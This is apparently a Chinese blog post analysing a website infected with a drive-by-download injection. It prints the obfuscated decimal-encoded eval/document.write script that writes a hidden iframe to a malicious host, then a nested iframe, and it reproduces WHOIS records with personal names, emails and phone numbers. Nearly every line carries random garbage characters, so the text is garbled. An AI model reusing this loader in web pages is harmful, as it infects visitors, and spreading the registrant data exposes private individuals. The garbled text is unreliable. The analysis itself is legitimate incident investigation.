首发在我的博客里面，
(_s;aK ! Zno [R http://www.areway.cn/?p=175 G% o7BX ?OdV1xB ~K4k'
周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
j~X j u):X>??
<script>t=’60,105,102,114,97,109,101,
Z`^
K%P= 32,115,114,99,61,104,116,116,112,58,47,47,
"9)1K!tH 102,114,101,101,46,117,45,117,117,117,46,99,
+dDJes!] 110,47,101,114,114,111,114,46,104,116,109,
Bju rmo 32,119,105,100,116,104,61,49,48,48,32,104,
<u r KIu 101,105,103,104,116,61,48,62,60,47,105,102,
xWd9%,mDNR 114,97,109,101,62′;
3s3a> t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
s'R~ r >&*6Fqd <script>t=’60,105,102,114,97,109,101,32,115,
w g$D@E7 114,99,61,104,116,116,112,58,47,47,102,114,
z~GVvgd 101,101,46,117,45,117,117,117,46,99,110,47,
7~nIaT 101,114,114,111,114,46,104,116,109,32,119,
=~,$V<+c
105,100,116,104,61,49,48,48,32,104,101,105,
hdo+Qezu: 103,104,116,61,48,62,60,47,105,102,114,97,
emGV]A%nss 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
B) ( p9]q document.write(t);</script>
oc!biE` u R1]v}f _I" <html xmlns=”
.t"n]X i http://www.w3.org/1999/xhtml SS >:Sw “>
43UJ#rF <head>
Se!gs> <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
{Bav$kw;?e <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
>VpP/Qf <title>首页 - 爱生活家庭网
=g{ _^^n e k Y? 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
uYG #c(lc 转换字符串后的大概内容是（谁点击后果自付）：
$#6 Fnhh} <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
Y2RxD\!Z k@'?"CP\Xq 查询玉米u-uuu.cn的详细信息：
f 3nnXE" Domain Name: u-uuu.cn
\ #h})` ROID: 20070901s10001s64972306-cn
GE/IaLo Domain Status: ok
#o(?g-3 Registrant Organization: 王雷
$ioaunQKP Registrant Name: 王雷
(.jO:#eE% Administrative Email:
czlovexs@126.com z{ Zimr Sponsoring Registrar: 北京万网志成科技有限公司
;XD>$t@ Name Server:ns.yovole.com
6/p]jN Name Server:ns1.yovole.com
<8F->k1"3 Registration Date: 2007-09-01 17:54
*~\;&G29Y Expiration Date: 2008-09-01 17:54
I1eb31< 最后PING了一下地址 都没有什么….
~FK+bF?% ;ph+ZV 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
*g/I&'^ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
.HH, l <script language=”javascript” src=”
i ]h R7g< http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script \kua9bK >
;iwD/= Y 这个玉米应该有可能是木马作者的：
BMtYM{S6 foafau.info的详细信息：
4nVO.Ud0$X Access to INFO WHOIS information is provided to assist persons in
(_s !,QUe determining the contents of a domain name registration record in the
Q@3 ld6y Afilias registry database. The data in this record is provided by
P~b%;*m}8 Afilias Limited for informational purposes only, and Afilias does not
3!ajvSOI9j guarantee its accuracy. This service is intended only for query-based
<E (- QJ access. You agree that you will use this data only for lawful purposes
7+A -7ci and that, under no circumstances will you use this data to: (a) allow,
qqO10~Xc enable, or otherwise support the transmission by e-mail, telephone, or
.PA ?N{z facsimile of mass unsolicited, commercial advertising or solicitations
I%VV4,I&pK to entities other than the data recipient’s own existing customers; or
)nbyV a (b) enable high volume, automated, electronic processes that send
N?`GZ +5 queries or data to the systems of Registry Operator, a Registrar, or
T^f&58{ 7 Afilias except as reasonably necessary to register domain names or
B4M'Er{v modify existing registrations. All rights reserved. Afilias reserves
;r2b@x:<_ the right to modify these terms at any time. By submitting this query,
&`\kb2uep you agree to abide by this policy.
\sXm Mc Domain ID:D22418703-LRMS
fu7[8R" { Domain Name:FOAFAU.INFO
XQJV.SVS Created On:20-Nov-2007 16:05:42 UTC
= -a?oH- Last Updated On:20-Nov-2007 16:05:44 UTC
I{X@<o} Expiration Date:20-Nov-2008 16:05:42 UTC
w-q=.RSTn= Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
JqH.Qn Kcv Status:CLIENT DELETE PROHIBITED
z;@S_0M,Z Status:CLIENT RENEW PROHIBITED
;*85'WcS Status:CLIENT TRANSFER PROHIBITED
} ~0{1 & Status:CLIENT UPDATE PROHIBITED
8 )2u@sx% Status:TRANSFER PROHIBITED
R.n`R|NOd Registrant ID:GODA-040110615
36 D,el In Registrant Name:liu hong
Q=9VuTE Registrant Organization:
dsft=t8s Registrant Street1:beijing
ROI $;B( Registrant Street2:
RAXJsF^5o Registrant Street3:
E '6 z7m. Registrant City:beijing
lf7H8k, - Registrant State/Province:
>+W?!9[p:2 Registrant Postal Code:100000
^dp[ Z,[1z Registrant Country:CN
f<x t3 Registrant Phone:+86.860108888777
Zq6ebj Registrant Phone Ext.:
hJtghG6v Registrant FAX:
sjgxx7 Registrant FAX Ext.:
5Qe}v Registrant Email:bbbshiji@163.com
'XjHB!!hU Admin ID:GODA-240110615
7[ VCC I
g Admin Name:liu hong
}Q,C;!'" Admin Organization:
Zp P6Q Admin Street1:beijing
,jdKcWy' Admin Street2:
Z{>Y':\?< Admin Street3:
(>/Dw|,m Admin City:beijing
<H(A S' Admin State/Province:
cVt$#A) Admin Postal Code:100000
#p^pv dvh3 Admin Country:CN
E"vi+'(v Admin Phone:+86.860108888777
L?pvz} Admin Phone Ext.:
|@uh q>& Admin FAX:
), x3tTR Admin FAX Ext.:
? F:C!_ Admin Email:bbbshiji@163.com
q.Aw!]:! Billing ID:GODA-340110615
3_['[}
Billing Name:liu hong
Y K 62#; Billing Organization:
{s^n|b} Billing Street1:beijing
G;.u>92r| Billing Street2:
oI"Fpo Billing Street3:
REe%>|
Billing City:beijing
*xX0]{49q Billing State/Province:
jYssz4)tp Billing Postal Code:100000
T"jDq1C/,E Billing Country:CN
tw^.(m5d Billing Phone:+86.860108888777
v nT
Billing Phone Ext.:
~<Qxw>S# Billing FAX:
-)c"cgx. Billing FAX Ext.:
hQrsZv:Q
Billing Email:bbbshiji@163.com
i_9/!D Tech ID:GODA-140110615
h3 ZL0Fi* Tech Name:liu hong
J} ;,%q _ Tech Organization:
p~ VW3u] Tech Street1:beijing
# SOj4W Tech Street2:
;C@^wI Tech Street3:
^ C#bW <T Tech City:beijing
jT_Tx\k Tech State/Province:
)HiTYV)]' Tech Postal Code:100000
'
=s*DL`0 Tech Country:CN
K":tr~V; Tech Phone:+86.860108888777
Q#AHEm{9;s Tech Phone Ext.:
T_
#oMXZ/ Tech FAX:
{@`Uf;hPAX Tech FAX Ext.:
8&iI+\lCy Tech Email:bbbshiji@163.com
Ho*R LVI0U Name Server:NS27.DOMAINCONTROL.COM
H_^u_ %:e
Name Server:NS28.DOMAINCONTROL.COM
?DTP-#5Ba Name Server:
ty8!"-V1 Name Server:
23?0'AU Name Server:
z:?
<aT Name Server:
i(#c
Yb Name Server:
im%3*bv- Name Server:
ed2 &9E>9b Name Server:
"+C\f) Name Server:
+m},c-,=$w Name Server:
yM ~D.D3H Name Server:
O c3%pb; Name Server:
nf^k3QS\ A MiFs gBj 接着下载每个文件里面的代码：
+ op N\`
一步一步看..
lBC-G *# 
u $^` hzfI 
ZX}" 
fXQRsL8
] 
Q";eyYdOL 
J<O_N~$$* 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
